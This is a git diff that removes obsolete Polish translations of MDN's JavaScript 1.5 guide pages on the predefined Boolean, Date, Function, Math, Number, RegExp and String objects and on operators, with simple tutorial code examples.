-Row 1:[1,0][1,1][1,2][1,3]
-Row 2:[2,0][2,1][2,2][2,3]
-Row 3:[3,0][3,1][3,2][3,3]
-
-

Tablice i wyrażenia regularne

-

Kiedy - - array - jest rezultatem pomiędzy wyrażeniami regularnymi i łańcucha, - - array - zwraca właściwości i elementy, które dostarczają informacji o odpowiedniku. Wartość - - array - jest zwracany RegExp.exec, String.match, i String.split. Dla uzyskania informacji, jak używać tablicę z wyrażeniami regularnymi Wyrażenia regularne.

diff --git "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/obiekty_predefiniowane/obiekt_boolean/index.html" "b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/obiekty_predefiniowane/obiekt_boolean/index.html" deleted file mode 100644 index ff6e5b774a..0000000000 --- "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/obiekty_predefiniowane/obiekt_boolean/index.html" +++ /dev/null @@ -1,14 +0,0 @@ ---- -title: Obiekt Boolean -slug: >- - Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Boolean -tags: - - JavaScript - - Wszystkie_kategorie ---- -

 

-

Obiekt Boolean

-

Obiekt Boolean jest otoczeniem wokół prymitywnych danych typu Boolean. Użyj następującej składni do utworzenia obiektu Boolean:

-
booleanObjectName = new Boolean(wartość)
-
-

Nie pomieszaj prymitywnej wartości Boolean true i false z wartościami true i false obiektu Boolean. Jakikolwiek obiekt którego wartość obiektu jest nie undefined , null, 0, NaN, lub pusty łańcuch, włączając obiekt Boolean, którego wartość jest nieprawdziwa (false), ocenia jako prawdziwy (true), kiedy przechodzi do instrukcji warunkowej. Zobacz artykuł Instrukcja if...else aby zdobyć więcej informacji.

diff --git "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/obiekty_predefiniowane/obiekt_date/index.html" "b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/obiekty_predefiniowane/obiekt_date/index.html" deleted file mode 100644 index e0dc4845d8..0000000000 --- "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/obiekty_predefiniowane/obiekt_date/index.html" +++ /dev/null @@ -1,87 +0,0 @@ ---- -title: Obiekt Date -slug: >- - Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Date -tags: - - JavaScript - - Wszystkie_kategorie ---- -

 

-

Obiekt Date

-

JavaScript nie posiada danych typu date. Jednakże, możesz użyć obiektu Date i jego metod do pracy z datami i czasem w swoich aplikacjach. Obiekt Date posiada wiele metod do ustawiania, pobierania i manipulacji datami. Nie posiada żadnych właściwości.

-

W JavaScript uchwyty dat są podobne jak w Java. Oba języki mają wiele takich samych metod i oba języki przechowują daty w liczbie milisekund od 1-ego stycznia 1970, 00:00:00.

-

Obiekt Date jest z zakresu -100,000,000 dni do 100,000,000 dni odnosząc się do 01 stycznia, 1970 UTC.

-

Do utworzenia obiektu Date służy:

-
dateObjectName = new Date([parameters])
-
-

gdzie: dateObjectName jest nazwą tworzonego obiektu; Date potrafi też być nowym obiektem lub właściwością już istniejącego obiektu.

-

W poprzedniej składni parameters mogły być:

- -

JavaScript 1.2 i wcześniejsze
- Obiekt Date postępuje następująco:

- -

Metody obiektu Date

-

Metody obiektu Date są do obsługi daty i czasu zawartego w tych obszernych kategoriach:

- -

Z metodami "get" i "set" możemy pobrać i ustawić sekundy, minuty, godziny, dni miesiąca, dni tygodnia, miesiące, jak i poszczególne lata. Istnieje metoda getDay, która zwraca dzień tygodnia, ale nie współpracuje z metodą setDay, ponieważ dzień tygodnia jest ustawiany automatycznie. Te metody używają liczb całkowitych do reprezentacji następujących wartości:

- -

Na przykład, przypuśćmy, że zdefiniowałeś następującą datę:

-
Xmas95 = new Date("December 25, 1995")
-
-

Następnie Xmas95.getMonth() zwraca 11, i Xmas95.getFullYear() zwraca 1995.

-

Metody getTime i setTime są użyteczne dla porównania dat. Metoda getTime zwraca liczbę milisekund od 1 stycznia 1970, 00:00:00 ( - - January 1, 1970, 00:00:00 - ) dla obiektu Date.

-

Na przykład, następujący kod wyświetla liczbę dni opuszczonych w aktualnym roku:

-
today = new Date()
-endYear = new Date(1995,11,31,23,59,59,999) // Ustawia dni i miesiące
-endYear.setFullYear(today.getFullYear()) // Ustawia ilość lat '''(?)'''
-msPerDay = 24 * 60 * 60 * 1000 // Liczba milisekund na dzień
-daysLeft = (endYear.getTime() - today.getTime()) / msPerDay
-daysLeft = Math.round(daysLeft) //zwraca dni opuszczone dni w roku
-
-

Ten przykład stworzył obiekt Date nazywany today, który stanowi dzisiejszą datę. Następnie utworzył obiekt Date nazwany endYear i ustawi się od roku do aktualnego roku. Następnie, użyje liczbę milisekund na dzień, to obliczy liczbę dni pomiędzy dzisiejszym dniem today a endYear, używających getTime i zaokrąglenie do liczby dni.

-

Metoda parse jest użyteczna dla przydzielania wartości z łańcucha daty do wykorzystania przez obiekty Date. Na przykład, następujący kod używa parse i setTime do przydzielenia wartości obiektu IPOdate:

-
IPOdate = new Date()
-IPOdate.setTime(Date.parse("Aug 9, 1995"))
-
-

Używanie obiektu Date: Przykład

-

W następującym przykładzie, funkcja JSClock() zwraca czas w formacie zegara cyfrowego.

-
function JSClock() {
-   var time = new Date()
-   var hour = time.getHours()
-   var minute = time.getMinutes()
-   var second = time.getSeconds()
-   var temp = "" + ((hour > 12) ? hour - 12 : hour)
-   if (hour == 0)
-      temp = "12";
-   temp += ((minute < 10) ? ":0" : ":") + minute
-   temp += ((second < 10) ? ":0" : ":") + second
-   temp += (hour >= 12) ? " P.M." : " A.M."
-   return temp
-}
-
-

Pierwsza funkcja JSClock tworzy nowy obiekt Date, który nazywany jest time; nie dający argumentów, czas jest tworzony z aktualną datą i czasem. Następnie metody getHours, getMinutes, i getSeconds przypisują wartości aktualnej godziny, minuty i sekundy do hour, minute, i second.

-

Następne cztery linijki instrukcji budują łańcuch wartości oparty na czasie. Pierwsza instrukcja tworzy zmienne temp, przydzielając jej wartość używanego warunku wyrażenia; jeśli hour jest wyższa niż 12, (godzina - 12), w innym przypadku prosta godzina, chyba że jest godzina 0, która to staje się 12.

-

Następna instrukcja przypisuje wartość minute do temp. Jeśli wartość minute jest mniejsza niż 10, wyrażenie warunkowe dodaje łańcuch z poprzedzającym ją zerem; w innym przypadku dodaje rozgraniczający dwukropek. Następnie instrukcja dołącza sekundy do temp w ten sam sposób.

-

Kończąc, wyrażenie warunkowe dołącza "PM" do temp, jeśli hour posiada wartość 12 lub wyższą; w innym przypadku, to dołącza "AM" do temp.

diff --git "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/obiekty_predefiniowane/obiekt_function/index.html" "b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/obiekty_predefiniowane/obiekt_function/index.html" deleted file mode 100644 index 02eef23d82..0000000000 --- "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/obiekty_predefiniowane/obiekt_function/index.html" +++ /dev/null @@ -1,50 +0,0 @@ ---- -title: Obiekt function -slug: >- - Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_function -tags: - - JavaScript - - Przewodnik_JavaScript - - Wszystkie_kategorie ---- -

 

-

Obiekt Function

-

Predefiniowany obiekt Function określa łańcuch znaków do skompilowania jako funkcja.

-

Aby utworzyć obiekt Function:

-
nazwaObiektuFunkcji = new Function ([arg1, arg2, ... argn], cialoFunkcji)
-
-

nazwaObiektuFunkcji jest nazwą zmiennej lub własności istniejącego obiektu. Może to być również obiekt, po którym następuje zapisana małymi literami nazwa uchwytu zdarzenia, jak np. window.onerror.

-

arg1, arg2, ... argn są argumentami, które mają być użyte przez funkcję jako formalne nazwy argumentów. Każda z nich musi być łańcuchem znaków spełniającym zasady poprawnego identyfikatora JavaScript; przykładowo "x" lub "theForm".

-

cialoFunkcji jest łańcuchem znaków określającym kod JavaScript, który ma zostać skompilowany jako ciało funkcji.

-

Obiekty Function są przetwarzane przy każdym użyciu. Jest to mniej skutecznie niż deklarowanie funkcji i wywoływanie jej wewnątrz kodu, ponieważ zadeklarowane funkcje są kompilowane.

-

Oprócz definiowania funkcji w sposób opisany tutaj, możesz również użyć instrukcji function i wyrażenia funkcji. Zobacz Dokumentacja języka JavaScript 1.5, aby uzyskać więcej informacji.

-

Poniższy kod przypisuje funkcję do zmiennej ustawKolorTla. Funkcja ta ustawia obecny kolor tła dokumentu.

-
var ustawKolorTla = new Function("document.bgColor='antiquewhite'")
-
-

Aby wywołać obiekt Function, możesz określić nazwę zmiennej tak, jak gdyby była to funkcja. Poniższy kod wykonuje funkcję określoną przez zmienną ustawKolorTla:

-
var wyborKoloru="antiquewhite"
-if (wyborKoloru=="antiquewhite") {ustawKolorTla()}
-
-

Możesz przypisać funkcję do uchwytu zdarzenia w jeden z następujących sposobów:

-
1. document.form1.colorButton.onclick=ustawKolorTla
-2. <INPUT NAME="kolorPrzycisku" TYPE="button"
-      VALUE="Zmień kolor tła"
-      onClick="ustawKolorTla()">
-
-

Tworzenie zmiennej ustawKolorTla pokazane powyżej jest podobne do deklarowania następującej funkcji:

-
function ustawKolorTla() {
-   document.bgColor='antiquewhite'
-}
-
-

Przypisywanie funkcji do zmiennej jest podobne do deklarowania funkcji, są jednak pewne różnice:

- -

Możesz zagnieździć funkcję wewnątrz funkcji. Zagnieżdżona (wewnętrzna) funkcja jest prywatna do zawierającej ją (zewnętrznej) funkcji:

- -
-  
diff --git "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/obiekty_predefiniowane/obiekt_math/index.html" "b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/obiekty_predefiniowane/obiekt_math/index.html" deleted file mode 100644 index b09ad2f801..0000000000 --- "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/obiekty_predefiniowane/obiekt_math/index.html" +++ /dev/null @@ -1,72 +0,0 @@ ---- -title: Obiekt Math -slug: >- - Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Math -tags: - - JavaScript - - Wszystkie_kategorie ---- -

 

-

Obiekt Math

-

Obiekt predefiniowany Math posiada właściwości i metody dla stałych matematycznych i funkcji. Na przykład: obiekt Math PI pi posiada wartość (3.141...), który będzie używany w aplikacji jako:

-
Math.PI
-
-

Podobnie, standardowe funkcje matematyczne są metodami Math. Włączając trygonometryczne, logarytmiczne, wykładnicze i inne funkcje. Na przykład, jeśli chcesz użyć funkcji trygonometryczej sine, musisz napisać:

-
Math.sin(1.56)
-
-

Wszystkie metody trygonometryczne Math pobierają argumenty w radianach.

-

Następująca tabela podsumowuje metodę Math.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
MetodaOpis
absWartość bezwzględna argumentu
sin, cos, tanStandardowe funkcje trygonometryczne; argumenty w radianach
acos, asin, atan, atan2Odwrotne funkcje trygonometryczne; zwracają wartość w radianach
exp, logWykładniczy i naturalny logarytm, podstawą jest e
ceilZwraca najmniejszą liczbę całkowitą większą bądź równą argumentowi
floorZwraca największą liczbę całkowitą mniejszą bądź równą argumentowi
min, maxZwraca większą lub mniejeszą (jedną z podanych) z dwóch argumentów
powWykładniczy; pierwszy argument jest podstawą, drugi jest wykładnikiem
randomZwraca przypadkową liczbę pomiędzy 0 i 1.
roundZwraca argumenty najbliższe liczbie całkowitej
sqrtZwraca pierwiastek kwadratowy argumentu
-

Tabela: Metody Math

-

Wiele innych niepodobnych obiektów, nigdy nie utworzy dla siebie obiektu Math. Zawsze używaj predefiniowanego obiektu Math.

diff --git "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/obiekty_predefiniowane/obiekt_number/index.html" "b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/obiekty_predefiniowane/obiekt_number/index.html" deleted file mode 100644 index d66696774b..0000000000 --- "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/obiekty_predefiniowane/obiekt_number/index.html" +++ /dev/null @@ -1,83 +0,0 @@ ---- -title: Obiekt Number -slug: >- - Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Number -tags: - - JavaScript - - Przewodnik_JavaScript - - Wszystkie_kategorie ---- -

 

-

Obiekt Number

-

Obiekt Number posiada własności dla stałych liczbowych, takie jak wartość maksymalna, not-a-number (nie-liczba) i nieskończoność. Nie możesz zmieniać wartości tych własności. Używa się ich następująco:

-
biggestNum = Number.MAX_VALUE
-smallestNum = Number.MIN_VALUE
-infiniteNum = Number.POSITIVE_INFINITY
-negInfiniteNum = Number.NEGATIVE_INFINITY
-notANum = Number.NaN
-
-

Możesz zawsze odwołać się do własności predefiniowanego obiektu Number w sposób pokazany powyżej, lecz nie jako własności obiektu Number, który sam utworzyłeś.

-

Poniższa tabela podsumowuje własności obiektu Number .

- - - - - - - - - - - - - - - - - - - - - - - - - - - -
WłasnośćOpis
MAX_VALUENajwiększa możliwa do przedstawienia liczba
MIN_VALUENajmniejsza możliwa do przedstawienia liczba
NaNSpecjalna wartość "nieliczbowa"
NEGATIVE_INFINITYSpecjalna wartość nieskończoności; zwracana przy przepełnieniu
POSITIVE_INFINITYSpecjalna wartość ujemnej nieskończoności; zwracana przy przepełnieniu
-

Tabela 7.2: Własności obiektu Number

-

Prototyp Number dostarcza metod używanych w celu uzyskiwania w różnych formatach informacji z obiektów Number. Poniższa tabelka podsumowuje metody Number.prototype.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
MetodaOpis
toExponentialZwraca łańcuch znaków reprezentujący liczbę w notacji wykładniczej.
toFixedZwraca łańcuch znaków reprezentujący liczbę w notacji stałoprzecinkowej.
toPrecisionZwraca łańcuch znaków reprezentujący z określoną dokładnością w notacji stałoprzecinkowej.
toSourceZwraca obiekt literałowy reprezentujący określony obiekt Number; możesz użyć tej wartości do stworzenia nowego obiektu. Nadpisuje metodę Object.toSource.
toStringZwraca łańcuch znaków reprezentujący dany obiekt. Nadpisuje metodę Object.toString.
valueOfZwraca pierwotną wartość określonego obiektu. Nadpisuje metodę Object.valueOf.
-

Tabela: Metody Number.prototype {{ PreviousNext("Przewodnik po języku JavaScript 1.5:Obiekty predefiniowane:Obiekt Math", "Przewodnik po języku JavaScript 1.5:Obiekty predefiniowane:Obiekt RegExp") }}

diff --git "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/obiekty_predefiniowane/obiekt_regexp/index.html" "b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/obiekty_predefiniowane/obiekt_regexp/index.html" deleted file mode 100644 index 120abc3cb9..0000000000 --- "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/obiekty_predefiniowane/obiekt_regexp/index.html" +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: Obiekt RegExp -slug: >- - Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_RegExp -tags: - - JavaScript - - Przewodnik_JavaScript - - Wszystkie_kategorie ---- -

 

-

Obiekt RegExp

-

Obiekt RegExp umożliwia działanie na wyrażeniach regularnych. Został on opisany w Rozdziale 4, Wyrażenia regularne. {{ PreviousNext("Przewodnik po języku JavaScript 1.5:Obiekty predefiniowane:Obiekt Number", "Przewodnik po języku JavaScript 1.5:Obiekty predefiniowane:Obiekt String") }}

diff --git "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/obiekty_predefiniowane/obiekt_string/index.html" "b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/obiekty_predefiniowane/obiekt_string/index.html" deleted file mode 100644 index dc7aa33326..0000000000 --- "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/obiekty_predefiniowane/obiekt_string/index.html" +++ /dev/null @@ -1,92 +0,0 @@ ---- -title: Obiekt String -slug: >- - Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_String -tags: - - JavaScript - - Przewodnik_JavaScript - - Wszystkie_kategorie ---- -

 

-

Obiekt String

-

Obiekt String ma jedną własność, length, która wskazuje liczbę znaków w łańcuchu znaków. Przykładowo, poniższy kod przypisuje zmiennej x wartość 13, ponieważ "Hello, World!" ma 13 znaków:

-
myString = "Hello, World!"
-x = mystring.length
-
-

Obiekt String posiada dwa typy metod: zwracające zmienność samego łańcucha znaków, takie jak substring i toUpperCase oraz te, które zwracają wersję łańcucha sformatowaną jako kod HTML, takie jak bold i link.

-

Na przykład używając poprzedniego przykładu, zarówno mystring.toUpperCase() jak i "hello, world!".toUpperCase() zwrócą łańcuch "HELLO, WORLD!"

-

Metoda substring pobiera dwa argumenty i zwraca podzbiór łańcucha znaków pomiędzy tymi dwoma argumentami. Posługując się powyższym przykładem, mystring.substring(4, 9) zwróci łańcuch "o, Wo". Zobacz metodę substring obiektu String w Dokumentacja języka JavaScript 1.5, aby uzyskać więcej informacji.

-

Obiekt String posiada również wiele metod do automatycznego formatowania kodu HTML, takie jak bold do tworzenia pogrubionego tekstu i link do tworzenia hiperłącz. Przykładowo, możesz utworzyć hiperłącze do hipotetycznego adresu URL przy użyciu metody link w następujący sposób:

-
mystring.link("http://www.helloworld.com")
-
-

Poniższe tabela podsumowuje metody obiektu String.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
MetodyOpis
anchorTworzy nazwaną kotwicę HTML.
big, blink, bold, fixed, italics, small, strike, sub, supTworzy w HTML sformatowany łańcuch znaków.
charAt, charCodeAtZwraca znak lub kod znaku znajdującego się na określonej pozycji łańcucha znaków.
indexOf, lastIndexOfZwraca odpowiednio pozycję określonego podciągu w łańcuchu znaków lub ostatnią pozycję określonego podciągu.
linkTworzy odnośnik HTML.
concatŁączy tekst z dwóch łańcuchów i zwraca nowy łańcuch znaków.
fromCharCodeBuduje łańcuch znaków z określonej sekwencji wartości Unicode. Jest metoda klasy String, a nie instancji String.
splitDzieli obiekt String na tablicę łańcuchów poprzez rozdzielenie łańcucha znaków na podciągi.
sliceWycina fragment łańcucha znaków i zwraca nowy łańcuch.
substring, substrZwraca określony podciąg łańcucha znaków, poprzez określenie indeksów początkowych i końcowych lub też określenie indeksu początkowego i długości.
match, replace, searchPracuje z wyrażeniami regularnymi.
toLowerCase, toUpperCaseZwraca łańcuch znaków odpowiednio z wszystkimi małymi lub wszystkimi dużymi znakami.
-

Tabela 7.4: Metody instancji String

-

Literały znakowe nie są obiektami String

-

Obiekt String jest obiektem opakowującym wokół pierwotnego typu danych łańcuchu znaków. Nie myl literału znakowego z obiektem String. Na przykład poniższy kod tworzy literał s1, jak również obiekt String s2:

-
s1 = "foo" //tworzy wartość literału znakowego
-s2 = new String("foo") //tworzy obiekt String
-
-

Możesz wywołać dowolną metodę obiektu String na wartości literału znakowego - JavaScript automatycznie skonwertuje literał znakowy do tymczasowego obiektu String, wywoła metodę, a następnie pozbędzie się tymczasowego obiektu String. Możesz również użyć własności String.length z literałem znakowym. Możesz również użyć własności String.length z literałem znakowym.

-

Powinieneś użyć literału znakowego, chyba że potrzebujesz szczególnie obiektu String, ponieważ obiekty String mogą zachowywać się nieintuicyjnie. Przykładowo:

-
s1 = "2 + 2" //tworzy wartość literału znakowego
-s2 = new String("2 + 2")//tworzy obiekt String
-eval(s1) //zwraca liczbę 4
-eval(s2) //zwraca łańcuch "2 + 2"
-
-

{{ PreviousNext("Przewodnik po języku JavaScript 1.5:Obiekty predefiniowane:Obiekt RegExp", "Przewodnik po języku JavaScript 1.5:Języki oparte na klasach vs. oparte na prototypach") }}

diff --git "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/operatory/index.html" "b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/operatory/index.html" deleted file mode 100644 index 272af2a690..0000000000 --- "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/operatory/index.html" +++ /dev/null @@ -1,113 +0,0 @@ ---- -title: Operatory -slug: >- - Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Operatory -tags: - - JavaScript - - Przewodnik_JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Guide/Expressions_and_Operators -translation_of_original: Web/JavaScript/Guide/Obsolete_Pages/Operators ---- -

-

-

Operatory

-

JavaScript posiada następujące typy operatorów. Ten temat opisuje operatory i wartości informacyjne o operatorach pierwszeństwa. -

- -

JavaScript posiada po dwa operatory bitowe i unarne. Operator bitowy zwraca dwa argumenty, jeden przed operatorem i jeden za operatorem:

-
argument1 operator argument2
-
-

Na przykład, 3+4 lub x*y. -Operator unarny zwraca pojedynczy znak argumentu, znaki te zapisujemy przed lub za operatorem: -

-
operator argument
-
-

lub -

-
argument operator
-
-

Na przykład, x++ lub ++x. -

Uzupełniając, JavaScript posiada potrójny operator, jakim jest operator warunkowy. Potrójny operator zwraca trzy argumenty. -

-

Pierwszeństwo operatorów

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Typ operatoraIndywidualny operator
przecinek,
przypisania = += -= *= /= %= <<= >>= >>>= &= ^= |=
warunkowy?:
logiczne "LUB" ||
logiczne "I"&&
bitowe "LUB"|
bitowe "XOR" ^
bitowe "I"&
porównanie== != === !==
relacji< <= > >= in instanceof
przesunięcie bitowe << >> >>>
dodawanie/odejmowanie + -
mnożenie/dzielenie/modulo * / %
negacja/inkrementacja/dekrementacja ! ~ - + ++ -- typeof void delete
nazwa / tworzenie przykładu () new
pamięci . []
-

Tabela: Operatory pierwszeństwa -

{{ PreviousNext("Przewodnik po języku JavaScript 1.5:Wyrażenia", "Przewodnik po języku JavaScript 1.5:Operatory:Operatory przypisania") }} -

{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Operators", "es": "es/Gu\u00eda_JavaScript_1.5/Operadores", "fr": "fr/Guide_JavaScript_1.5/Op\u00e9rateurs", "ja": "ja/Core_JavaScript_1.5_Guide/Operators" } ) }} diff --git "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/operatory/operacje_na_\305\202a\305\204cuchach/index.html" "b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/operatory/operacje_na_\305\202a\305\204cuchach/index.html" deleted file mode 100644 index 1df22570cf..0000000000 --- "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/operatory/operacje_na_\305\202a\305\204cuchach/index.html" +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: Operacje na łańcuchach -slug: >- - Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Operatory/Operacje_na_łańcuchach -tags: - - JavaScript - - Przewodnik_JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Guide/Expressions_and_Operators -translation_of_original: Web/JavaScript/Guide/Obsolete_Pages/Operators/String_Operators ---- -

-

-

Operatory łańcuchowe

-

Oprócz operatorów porównania łańcuchów istnieje operator konkatenacji (+), który konkatenuje dwa łańcuchy zwracając łańcuch będący połączeniem obu argumentów. Na przykład "my " + "string" zwraca łańcuch znaków "my string". -

Skróconego operatora += też można używać do konkatenacji łańcuchów. Na przykład jeśli zmienna mystring ma wartość "alpha", to wyrażenie mystring += "bet" przyjmuje wartość "alphabet" i wartość ta jest nadawana zmiennej mystring. -

{{ PreviousNext("Przewodnik po języku JavaScript 1.5:Operatory:Operatory logiczne", "Przewodnik po języku JavaScript 1.5:Operatory:Operatory specjalne") }} -

{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Operators/String_Operators", "es": "es/Gu\u00eda_JavaScript_1.5/Operadores/Operadores_de_cadenas_de_caracteres_(string)", "fr": "fr/Guide_JavaScript_1.5/Op\u00e9rateurs/Op\u00e9rateurs_li\u00e9s_aux_cha\u00eenes", "ja": "ja/Core_JavaScript_1.5_Guide/Operators/String_Operators", "ko": "ko/Core_JavaScript_1.5_Guide/Operators/String_Operators" } ) }} diff --git "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/operatory/operatory_arytmetyczne/index.html" "b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/operatory/operatory_arytmetyczne/index.html" deleted file mode 100644 index e7e7099052..0000000000 --- "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/operatory/operatory_arytmetyczne/index.html" +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: Operatory arytmetyczne -slug: >- - Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Operatory/Operatory_arytmetyczne -tags: - - JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Guide/Expressions_and_Operators -translation_of_original: Web/JavaScript/Guide/Obsolete_Pages/Operators/Arithmetic_Operators ---- -

-

-

Operatory arytmetyczne

-

Operatory arytmetyczne pobierają wartości liczbowe (albo literowy lub zmienny) jako własne argumenty i zwracają pojedynczą wartość liczbową. Podstawowymi operatorami arytmetycznymi są dodawanie (+), odejmowanie (-), mnożenie (*), i dzielenie (/). Wspomniane operatory działają także w innych językach programowania (oprócz operatora /, który zwraca wynik dzielenia w wartościach dziesiętnych w JavaScript), dzielenie nie zaokrągla wartości dziesiętnej, jak to robi w językach programowania, takich jak C i Java. Na przykład: -

-
1/2 //zwraca 0.5 w JavaScript
-1/2 //zwraca 0 w Java
-
-

Uzupełniając, JavaScript dostarcza operatory arytmetyczne wyliczone w poniższej tabeli. -

- - - - - - - - - - - - - - - - - - - - - - - - - -
OperatorOpisPrzykład
%
(Modulo)
Operator bitowy. Zwraca liczbę całkowitą z resztą podczas dzielenie dwóch argumentów. 12 % 5 zwraca 2.
++
(Inkrementacji)
Operator unarny. Zwiększa o jeden argument. Jeśli użyjemy operator z przedrostkiem (++x), zwróci wartość argumentu zwiększonego o jeden; jeśli użyjemy argumentu i za nim przedrostek (x++), zwróci wartość argumentu z przed zwiększenia o jeden.Jeśli x jest 3, potem ++x ustawia x na 4 i zwraca 4, podczas gdy x++ ustawia x na 4 i zwraca 3.
--
(Dekrementacji)
Operator unarny. Zmniejszy o jeden argument. Zwracana wartość jest analogiczna do zapisu operatora inkrementacji.Jeśli x jest 3, potem --x ustawia x na 2 i zwraca 2, podczas gdy x++ ustawia x na 2 i zwraca 3.
-
(Negacja unarna)
Operator unarny. Zwraca negacje tego argumentu.Jeśli x jest 3, potem -x zwraca -3.
-

Tabela: Operatory arytmetyczne -

{{ PreviousNext("Przewodnik po języku JavaScript 1.5:Operatory:Operatory porównania", "Przewodnik po języku JavaScript 1.5:Operatory:Operatory bitowe") }} -

{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Operators/Arithmetic_Operators", "es": "es/Gu\u00eda_JavaScript_1.5/Operadores/Operadores_aritm\u00e9ticos", "fr": "fr/Guide_JavaScript_1.5/Op\u00e9rateurs/Op\u00e9rateurs_arithm\u00e9tiques", "ja": "ja/Core_JavaScript_1.5_Guide/Operators/Arithmetic_Operators", "ko": "ko/Core_JavaScript_1.5_Guide/Operators/Arithmetic_Operators" } ) }} diff --git "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/operatory/operatory_logiczne/index.html" "b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/operatory/operatory_logiczne/index.html" deleted file mode 100644 index 8b6b2c3751..0000000000 --- "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/operatory/operatory_logiczne/index.html" +++ /dev/null @@ -1,73 +0,0 @@ ---- -title: Operatory logiczne -slug: >- - Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Operatory/Operatory_logiczne -tags: - - JavaScript - - Przewodnik_JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Guide/Expressions_and_Operators -translation_of_original: Web/JavaScript/Guide/Obsolete_Pages/Operators/Logical_Operators ---- -

-

-

Operatory logiczne

-

Operatory logiczne są typem użytym z wartością Boolean (logiczną); zwracają one wartość logiczną (true lub false). Jednakże, operatory && i || aktualnie zwracają wartość jednego ze określonych argumentów, więc jeśli któryś z tych operatorów jest użyty z wartością nielogiczną, to zwróci wartość nie-logiczną. Operatory logiczne są opisane w następującej tablicy. -

- - - - - - - - - - - - - - - - - - - - - -
OperatoryUżycieOpis
&&expr1 && expr2(Iloczyn logiczny AND) Zwraca expr1, jeśli jest konwertowany do false; w innym przypadku, zwraca expr2. Tak więc, kiedy użyjemy wartość logiczną, && zwróci true jeśli oba argumenty są true; w innym przypadku, zwróci false.
